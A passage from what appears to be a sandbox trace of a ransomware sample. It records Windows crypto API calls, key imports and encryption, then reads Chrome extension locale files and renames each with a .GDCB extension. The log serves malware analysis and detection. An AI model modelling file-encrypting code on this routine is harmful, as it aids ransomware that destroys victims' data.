CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0263.396] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0263.398] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0263.398] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0263.398] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0263.398] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0263.400] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6793d20) returned 1 [0263.400] CryptGetKeyParam (in: hKey=0x6793d20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0263.400] CryptEncrypt (in: hKey=0x6793d20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0263.401] GetLastError () returned 0x0 [0263.401] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0263.401] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0263.402] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6793d60) returned 1 [0263.402] CryptGetKeyParam (in: hKey=0x6793d60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0263.402] CryptEncrypt (in: hKey=0x6793d60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0263.403] GetLastError () returned 0x0 [0263.403] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0263.403] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0263.404] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0263.407] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0263.410] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xb3, lpOverlapped=0x0) returned 1 [0263.418] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0263.425] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json.gdcb")) returned 1 [0263.430] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0263.433] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0263.435] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0263.436] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0263.436] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0263.436] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0263.438] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0263.441] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0263.441] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0263.441] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0263.441] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0263.443] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6793f60) returned 1 [0263.443] CryptGetKeyParam (in: hKey=0x6793f60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0263.443] CryptEncrypt (in: hKey=0x6793f60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0263.443] GetLastError () returned 0x0 [0263.443] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0263.443] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0263.445] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6794060) returned 1 [0263.445] CryptGetKeyParam (in: hKey=0x6794060, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0263.445] CryptEncrypt (in: hKey=0x6794060, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0263.445] GetLastError () returned 0x0 [0263.445] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0263.445] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0263.447] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0263.450] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0263.452] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xb3, lpOverlapped=0x0) returned 1 [0263.461] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0263.496] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json.gdcb")) returned 1 [0263.502] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0263.505] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0263.507] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0263.507] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0263.507] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0263.507] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0263.511] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0263.513] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0263.513] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0263.513] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0263.514] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0263.517] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67940a0) returned 1 [0263.517] CryptGetKeyParam (in: hKey=0x67940a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0263.517] CryptEncrypt (in: hKey=0x67940a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0263.517] GetLastError () returned 0x0 [0263.517] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0263.517] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0263.519] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6793fe0) returned 1 [0263.519] CryptGetKeyParam (in: hKey=0x6793fe0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0263.519] CryptEncrypt (in: hKey=0x6793fe0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0263.520] GetLastError () returned 0x0 [0263.520] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0263.520] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0263.521] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0263.524] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0263.526] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xb3, lpOverlapped=0x0) returned 1 [0263.535] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0263.542] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json.gdcb")) returned 1 [0263.547] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0263.550] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0263.552] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0263.552] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0263.552] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0263.552] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0263.555] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0263.557] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0263.557] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0263.557] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0263.557] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0263.560] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6793da0) returned 1 [0263.560] CryptGetKeyParam (in: hKey=0x6793da0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0263.560] CryptEncrypt (in: hKey=0x6793da0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0263.560] GetLastError () returned 0x0 [0263.560] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0263.560] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0263.562] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67939e0) returned 1 [0263.562] CryptGetKeyParam (in: hKey=0x67939e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0263.562] CryptEncrypt (in: hKey=0x67939e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0263.562] GetLastError () returned 0x0 [0263.562] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0263.562] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0263.563] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0263.566] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0263.569] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xb3, lpOverlapped=0x0) returned 1 [0263.577] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0263.585] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json.gdcb")) returned 1 [0263.610] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0263.613] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0263.616] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0263.616] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0263.616] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0263.616] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0263.619] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0263.621] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0263.621] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0263.621] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0263.622] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0263.624] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67938e0) returned 1 [0263.624] CryptGetKeyParam (in: hKey=0x67938e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0263.624] CryptEncrypt (in: hKey=0x67938e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0263.624] GetLastError () returned 0x0 [0263.624] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0263.624] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0263.626] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6793de0) returned 1 [0263.626] CryptGetKeyParam (in: hKey=0x6793de0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0263.626] CryptEncrypt (in: hKey=0x6793de0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0263.627] GetLastError () returned 0x0 [0263.627] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0263.627] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0263.628] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0263.631] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0263.634] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xb3, lpOverlapped=0x0) returned 1 [0263.643] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0263.649] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json.gdcb")) returned 1 [0263.655] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0263.658] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0263.661] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0263.661] 